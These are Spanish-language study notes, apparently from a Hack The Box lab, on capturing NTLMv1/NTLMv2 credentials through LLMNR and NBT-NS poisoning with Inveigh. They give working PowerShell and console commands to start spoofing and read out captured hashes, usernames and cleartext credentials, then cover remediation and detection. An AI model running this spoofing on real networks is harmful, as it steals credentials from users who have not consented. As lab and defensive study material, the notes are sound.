LLMNR & NBT-NS Poisoning desde Windows (Inveigh)

Objetivo

Capturar credenciales NTLMv1/NTLMv2 en un entorno Windows usando Inveigh, equivalente a Responder en Linux, pero en PowerShell/C#.


🧭 1. Introducción

C:\Tools\Inveigh.ps1 C:\Tools\Inveigh.exe


🛠️ 2. Usando Inveigh en PowerShell

Importar el módulo y listar parámetros:

PS C:\htb> Import-Module .\Inveigh.ps1
PS C:\htb> (Get-Command Invoke-Inveigh).Parameters

Parámetros importantes:

Parámetro Función
-LLMNR Habilita spoofing LLMNR
-NBNS Habilita spoofing NBT-NS
-ConsoleOutput Muestra salida en consola
-FileOutput Guarda resultados en archivo
-SpooferHostsReply Define hosts a responder
-PcapTCP/-PcapUDP Guardar tráfico capturado
Tip

Wiki de Inveigh tiene explicación completa de todos los parámetros.


Ejecutar LLMNR y NBNS Spoofing:

# Importar el módulo
Import-Module .\Inveigh.ps1

# Ejecutar Inveigh con LLMNR y NBNS spoofing
Invoke-Inveigh -LLMNR Y -NBNS Y -ConsoleOutput Y -FileOutput Y
# Ver todos los hashes NTLMv2 únicos capturados
Get-Inveigh -NTLMV2Unique

# O ver solo para el usuario svc_qualys
Get-Inveigh -NTLMV2 | Where-Object { $_ -like "*svc_qualys*" }

# Ver nombres de usuario capturados
Get-Inveigh -NTLMV2Usernames

Pasted image 20251115105745.png

Warning

Si la consola da error en el listener HTTP, revise que el puerto 80 esté libre.


🖥️ 3. Uso de Inveigh C# (InveighZero)

Ejecutar versión C#:

PS C:\htb> .\Inveigh.exe


📜 4. Consola interactiva de Inveigh

Comandos principales:

GET NTLMV2UNIQUE       → Obtener hashes NTLMv2 únicos por usuario
GET NTLMV2USERNAMES    → Listar usernames + IP + challenge
GET CLEARTEXT           → Credenciales en texto claro capturadas
RESUME                  → Reanuda la salida en tiempo real
STOP                    → Detener Inveigh
Tip

Para ver hashes capturados rápidamente:

GET NTLMV2UNIQUE

Ejemplo de hashes capturados:

{42911248-BED9-4E28-8D2E-A128F15C760B}.png

Para ver usuarios:

GET NTLMV2USERNAMES

Salida típica:
{AF062A5D-3C55-430C-B841-3DBB80FE33D8}.png


🔐 5. Remediación

Deshabilitar LLMNR:

Computer Configuration → Administrative Templates → Network → DNS Client → "Turn Off Multicast Name Resolution" → Enabled
Pasted image 20251115110048.png

Deshabilitar NBT-NS:

$regkey = "HKLM:SYSTEM\CurrentControlSet\services\NetBT\Parameters\Interfaces"
Get-ChildItem $regkey |foreach { Set-ItemProperty -Path "$regkey\$($_.pschildname)" -Name NetbiosOptions -Value 2 -Verbose}

🕵️‍♂️ 6. Detección

HKLM\Software\Policies\Microsoft\Windows NT\DNSClient\EnableMulticast


⚡ 7. Moving On